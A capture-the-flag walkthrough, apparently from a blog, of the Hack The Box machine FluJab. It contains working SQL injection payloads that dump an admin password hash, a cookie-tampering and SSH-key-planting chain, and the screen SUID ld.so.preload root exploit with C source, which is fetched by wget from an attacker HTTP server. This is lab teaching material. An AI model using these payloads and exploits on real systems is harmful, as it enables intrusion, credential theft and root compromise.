> For the complete documentation index, see [llms.txt](https://alfa8sa.gitbook.io/htb-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alfa8sa.gitbook.io/htb-writeups/linux-machines/flujab.md).

# FluJab

<figure><img src="/files/XiYS3gCg2J06x30UcCvh" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.124 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Tue May 16 07:23:48 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.124
Nmap scan report for 10.10.10.124
Host is up (0.038s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
8080/tcp open  http-proxy

# Nmap done at Tue May 16 07:24:02 2023 -- 1 IP address (1 host up) scanned in 14.71 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80,443,8080 10.10.10.124 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Tue May 16 07:26:22 2023 as: nmap -sCV -p22,80,443,8080 -Pn -n -oN targeted 10.10.10.124
Nmap scan report for 10.10.10.124
Host is up (0.041s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp   open  http     nginx
|_http-title: Did not follow redirect to https://10.10.10.124/
|_http-server-header: ClownWare Proxy
443/tcp  open  ssl/http nginx
|_ssl-date: TLS randomness does not represent time
|_http-title: Direct IP access not allowed | ClownWare
|_http-server-header: ClownWare Proxy
| ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
| Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
| Not valid before: 2018-11-28T14:57:03
|_Not valid after:  2023-11-27T14:57:03
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
8080/tcp open  ssl/http nginx
|_http-title: Direct IP access not allowed | ClownWare
|_ssl-date: TLS randomness does not represent time
|_http-server-header: ClownWare Proxy
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
| Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
| Not valid before: 2018-11-28T14:57:03
|_Not valid after:  2023-11-27T14:57:03
| tls-nextprotoneg: 
|_  http/1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 16 07:29:06 2023 -- 1 IP address (1 host up) scanned in 164.01 seconds
```

{% endcode %}

As we can see in the nmap report, there a are a bunch of domain names. Let's add them to the `/etc/hosts` file.

> nano /etc/hosts

{% code overflow="wrap" %}

```
# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.124    clownware.htb sni147831.clownware.htb *.clownware.htb proxy.clownware.htb console.flujab.htb sys.flujab.htb smtp.flujab.htb vaccine4flu.htb bestmedsupply.htb custoomercare.megabank.htb flowerzrus.htb chocolateriver.htb meetspinz.htb rubberlove.htb freeflujab.htb flujab.htb sysadmin-console-01.flujab.htb
```

{% endcode %}

The `freeflujab.htb` domain name shows the following website.

<figure><img src="/files/cJfSPI9jW01DZEmMdKdv" alt=""><figcaption></figcaption></figure>

It has one registration form.

<figure><img src="/files/PfHz2M0OMXVt0x1sCG5Z" alt=""><figcaption></figcaption></figure>

Let's try to register a new user.

<figure><img src="/files/7eqMR5bx93l2W1CSaeKb" alt=""><figcaption></figcaption></figure>

We will get an error saying that the server could not connect to the mailserver on port 25.

<figure><img src="/files/bSHukzygYObXVSW2qaZS" alt=""><figcaption></figcaption></figure>

If we try to access the cancellation page, we'll get an error in the URL because we are not registered.

> <https://freeflujab.htb/?ERROR=NOT\\_REGISTERED>

<figure><img src="/files/C5FV4vlSnI6DEca3x3pp" alt=""><figcaption></figcaption></figure>

## Exploitation

If curl the site, we'll see that it is setting three cookies.

> curl <https://freeflujab.htb/> -k -I

{% code overflow="wrap" %}

```http
HTTP/1.1 200 OK
Date: Tue, 16 May 2023 20:22:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: Modus=Q29uZmlndXJlPU51bGw%3D; expires=Tue, 16-May-2023 21:22:03 GMT; Max-Age=3600; path=/?smtp_config
Set-Cookie: Patient=b761463b7e444f4d7d04a23a6fc0f037; expires=Tue, 16-May-2023 21:22:03 GMT; Max-Age=3600; path=/
Set-Cookie: Registered=Yjc2MTQ2M2I3ZTQ0NGY0ZDdkMDRhMjNhNmZjMGYwMzc9TnVsbA%3D%3D; expires=Tue, 16-May-2023 21:22:03 GMT; Max-Age=3600; path=/
Server: ClownWare Proxy
```

{% endcode %}

The `Patient` cookie looks like an identifier hash. On the other hand, the `Modus` and `Registered` cookies are URL and base64 encoded.

> echo "Q29uZmlndXJlPU51bGw=" | base64 -d; echo ""; echo "Yjc2MTQ2M2I3ZTQ0NGY0ZDdkMDRhMjNhNmZjMGYwMzc9TnVsbA==" | base64 -d

```
Configure=Null
b761463b7e444f4d7d04a23a6fc0f037=Null
```

Both cookies are set to `Null`. Let's change it to `True`.

> echo "Configure=True" | tr -d "\n" | base64; echo "b761463b7e444f4d7d04a23a6fc0f037=True" | tr -d "\n" | base64

{% code overflow="wrap" %}

```
Q29uZmlndXJlPVRydWUK
Yjc2MTQ2M2I3ZTQ0NGY0ZDdkMDRhMjNhNmZjMGYwMzdiNzYxNDYzYjdlNDQ0ZjRkN2QwNGEyM2E2ZmMwZjAzNz1UcnVlCg==
```

{% endcode %}

Now, by changing the cookies, we'll be able to access the cancellation page.

<figure><img src="/files/VN1P9d2Da3pGGkw0Szko" alt=""><figcaption></figcaption></figure>

If we take a look back at the curl request, we'll see that the `Modus` cookie has the `path` variable set to `/?smtp_config`. This shows a page where we can configure the SMTP server.

<figure><img src="/files/xtY4qw8OCnavdLIkYFq1" alt=""><figcaption></figcaption></figure>

There is a link to a whitelist, but right now it is empty.

<figure><img src="/files/6kuCEXiEbvN8n54dBkTH" alt=""><figcaption></figcaption></figure>

Let's set an SMTP server with python.

> python -m smtpd -c DebuggingServer 10.10.14.8:25

We won't be able to add our IP address as the SMTP server because the input field has a pattern configured.

<figure><img src="/files/qFf4a10LqSegTRDTaSRG" alt=""><figcaption></figcaption></figure>

But, as this restriction is from the client side, we can delete it.

<figure><img src="/files/gihQKAMcRRkgfNU3IBvz" alt=""><figcaption></figcaption></figure>

Now our IP address appears in the whitelist.

<figure><img src="/files/VkZJKXffMNpPDqxret9X" alt=""><figcaption></figcaption></figure>

Try to cancel an appointment, intercept the request with *BurpSuite*, and send it to the repeater. If we send the request, we'll see an email in our SMTP server.

<figure><img src="/files/U2dbGmaBtJ1VVk3QBXnK" alt=""><figcaption></figcaption></figure>

```
---------- MESSAGE FOLLOWS ----------
b'Date: Wed, 17 May 2023 09:51:52 +0100'
b'To: cancelations@no-reply.flujab.htb'
b'From: Nurse Julie Walters <DutyNurse@flujab.htb>'
b'Subject: Flu Jab Appointment - Ref:NHS-943-475-5911'
b'Message-ID: <6ddc8890255fba84d597a104d800b9dd@freeflujab.htb>'
b'X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)'
b'MIME-Version: 1.0'
b'Content-Type: text/plain; charset=iso-8859-1'
b'X-Peer: 10.10.10.124'
b''
b'    CANCELLATION NOTICE!'
b'  ________________________'
b'    '
b'    VACCINATION'
b'    Routine Priority'
b'    ------------------'
b'    REF    : NHS-943-475-5911    '
b'    Code   : Influ-022'
b'    Type   : Injection'
b'    Stat   : CANCELED '
b'    LOC    : Crick026 '
b'  ________________________'
b''
b'  Your flu jab appointment has been canceled.'
b'  Have a nice day,'
b''
b'  Nurse Julie Walters'
b'  Senior Staff Nurse'
b'  Cricklestone Doctors Surgery'
b'  NHS England.'
b'  '
------------ END MESSAGE ------------
```

Let's try to see if the `nhsnum` parameter is vulnerable to SQL injection. It looks like it is vulnerable, and the current table has five columns. The third column gets represented in the email subject.

<figure><img src="/files/RghmKI4osbMVyEsxwJOh" alt=""><figcaption></figcaption></figure>

```
---------- MESSAGE FOLLOWS ----------
b'Date: Wed, 17 May 2023 10:10:30 +0100'
b'To: cancelations@no-reply.flujab.htb'
b'From: Nurse Julie Walters <DutyNurse@flujab.htb>'
b'Subject: Flu Jab Appointment - Ref:3'
b'Message-ID: <9d3d84021610bc21418cc2c17747d394@freeflujab.htb>'
b'X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)'
b'MIME-Version: 1.0'
b'Content-Type: text/plain; charset=iso-8859-1'
b'X-Peer: 10.10.10.124'
b''
b'    CANCELLATION NOTICE!'
b'  ________________________'
b'    '
b'    VACCINATION'
b'    Routine Priority'
b'    ------------------'
b"    REF    : ' union select 1,2,3,4,5-- -    "
b'    Code   : Influ-022'
b'    Type   : Injection'
b'    Stat   : CANCELED '
b'    LOC    : Crick026 '
b'  ________________________'
b''
b'  Your flu jab appointment has been canceled.'
b'  Have a nice day,'
b''
b'  Nurse Julie Walters'
b'  Senior Staff Nurse'
b'  Cricklestone Doctors Surgery'
b'  NHS England.'
b'  '
------------ END MESSAGE ------------
```

&#x20;Let's get the name of the database.

> nhsnum=<mark style="color:red;">' union select 1,2,database(),4,5-- -</mark>\&submit=Cancel+Appointment

```
...
b'Subject: Flu Jab Appointment - Ref:vaccinations'
...
```

The vaccinations database has the following tables.

> nhsnum=<mark style="color:red;">' UNION SELECT 1,2,group\_concat(table\_name),4,5 FROM information\_schema.tables WHERE table\_schema="vaccinations"-- -</mark>\&submit=Cancel+Appointment

{% code overflow="wrap" %}

```
...
b'Subject: Flu Jab Appointment - Ref:admin,admin_attribute,admin_password_request,adminattribute,admintoken,attachment,attribute,bounce,bounceregex,bounceregex_bounce,config,eventlog,i18n,linktrack,linktrack_forward,linktrack_ml,linktrack_uml_click,linktrack_userclick,list,listmessage,listuser,message,message_attachment,messagedata,sendprocess,subscribepage,subscribepage_data,template,templateimage,urlcache,user,user_attribute,user_blacklist,user_blacklist_data,user_history,user_message_bounce,user_message_forward,user_message_view,usermessage,userstats'
...
```

{% endcode %}

The most interesting one is the admin table, with the following column names.

> nhsnum=<mark style="color:red;">' UNION SELECT 1,2,group\_concat(column\_name),4,5 FROM information\_schema.columns WHERE table\_schema="vaccinations" AND table\_name="admin"-- -</mark>\&submit=Cancel+Appointment

{% code overflow="wrap" %}

```
...
b'Subject: Flu Jab Appointment - Ref:id,loginname,namelc,email,access,created,modified,modifiedby,password,passwordchanged,superuser,disabled,privileges'
...
```

{% endcode %}

Let's get the `loginname`, `email`, `access` and `passwords` fields.

> nhsnum=<mark style="color:red;">' UNION SELECT 1,2,concat(loginname,":",email,":",access,":",password),4,5 FROM vaccinations.admin-- -</mark>\&submit=Cancel+Appointment

{% code overflow="wrap" %}

```
...
b'Subject: Flu Jab Appointment - Ref:sysadm:syadmin@flujab.htb:sysadmin-console-01.flujab.htb:a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602'
...
```

{% endcode %}

As we can see, the sysadm user has access to `sysadmin-console-01.flujab.htb`. Let's add this new domain name to the `/etc/hosts` file.

> nano /etc/hosts

{% code overflow="wrap" %}

```
# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.124    clownware.htb sni147831.clownware.htb *.clownware.htb proxy.clownware.htb console.flujab.htb sys.flujab.htb smtp.flujab.htb vaccine4flu.htb bestmedsupply.htb custoomercare.megabank.htb flowerzrus.htb chocolateriver.htb meetspinz.htb rubberlove.htb freeflujab.htb flujab.htb sysadmin-console-01.flujab.htb sysadmin-console-01.flujab.htb
```

{% endcode %}

The password hash can be cracked with *crackstation*.

<figure><img src="/files/KLUQDoM1RAxAzs9FpEGa" alt=""><figcaption></figcaption></figure>

The `freeflujab.htb` domain name shows the following login page on port 8080.

<figure><img src="/files/sW4GtvSe1EJseY475VNo" alt=""><figcaption></figcaption></figure>

Once logged in, we'll see that the `Notepad` tool allows us to load files from the server.

<figure><img src="/files/tbviSTxZI8XrHtmS4Izc" alt=""><figcaption></figcaption></figure>

We can't log in via SSH with as `sysadm` with the credentials that we have.

> ssh sysadm\@10.10.10.124

```
kex_exchange_identification: read: Connection reset by peer
Connection reset by 10.10.10.124 port 22
```

This might happen because of some SSH configuration. Load the `/etc/hosts.allow` file, and add our IP address and the localhost address. Then save the file.

<figure><img src="/files/k9rGMJHkCrQ0wVHtEpSe" alt=""><figcaption></figcaption></figure>

Now, we get a different error.

> ssh sysadm\@10.10.10.124

```
sysadm@10.10.10.124: Permission denied (publickey).
```

We could try to log in using SSH keys instead. To do it, we need to create the `/home/sysadm/access` file with our public SSH key.

> cat \~/.ssh/id\_rsa.pub | tr -d '\n' | xclip -sel clip

Open a file, delete all the content, paste our public SSH key, and save it as `access` in `/home/sysadm`.

<figure><img src="/files/reH9YLPYidRKrdv9W27q" alt=""><figcaption></figcaption></figure>

The file needs to have the right permissions to work. We can do it using *Ajenti* API with the `/chmod` endpoint.

<figure><img src="/files/r5wNM89BKPOmLnDwue7Q" alt=""><figcaption></figcaption></figure>

Finally, we are able to log in via SSH.

> ssh sysadm\@10.10.10.124

```
Linux flujab 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
sysadm@flujab:~$ whoami
sysadm
```

As we can see, we are currently in a restricted bash.

> ifconfig

```
-rbash: ifconfig: command not found
```

We can bypass this restriction easily.

> ssh sysadm\@10.10.10.124 bash

```
whoami
sysadm
```

## Privilege Escalation

First, let's set an interactive *TTY* shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg
>
> reset
>
> Terminal type? xterm

Next, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command on our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

Let's find SUID binaries.

> find / -perm /4000 2>/dev/null

```
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/local/share/screen/screen
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/screen
/usr/bin/gpasswd
/usr/bin/sudo
/bin/su
/bin/umount
/bin/mount
/bin/ping
/bin/fusermount
```

I found [this exploit](https://www.exploit-db.com/exploits/41154) on *exploitdb*, which indicates how to get a shell as root with the screen binary with the *SUID* permission. First, let's create on our machine the `libhax.c` file, and add the following code.

> nano libhax.c

```c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
```

Then, compile it.

> gcc -fPIC -shared -ldl -o libhax.so libhax.c

```
libhax.c: In function ‘dropshell’:
libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
    7 |     chmod("/tmp/rootshell", 04755);
      |     ^~~~~
```

Now, let's create the `rootshell.c` file, which will give us the shell as *root*.

> nano rootshell.c

```c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
```

And also compile it.

> gcc -o rootshell rootshell.c

```
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
```

Then, we'll have to transfer the `libhax.so` file and `rootshell` files to the *haircut* machine. Let's set a simple *HTTP* server with python on the current directory.

> python -m http.server 80

Then, on the victim machine, let's go to the `/tmp` directory, and download both files from our *HTTP* server.

> cd /tmp
>
> wget <http://10.10.14.8/libhax.so>
>
> wget <http://10.10.14.8/rootshell>
>
> chmod +x \*

Then go to the `/etc` directory on the victim machine and execute the following commands.

> cd /etc
>
> umask 000
>
> /usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
>
> /usr/local/share/screen/screen -ls

Finally, if we execute the `rootshell` file of the `/tmp` folder, we'll get a shell as *root*, and all we have to do is reap the harvest and take the root flag.

> /tmp/rootshell

```
# whoami
root
# cat /root/root.txt
038c68850e1de6c4a986492613447b7
```
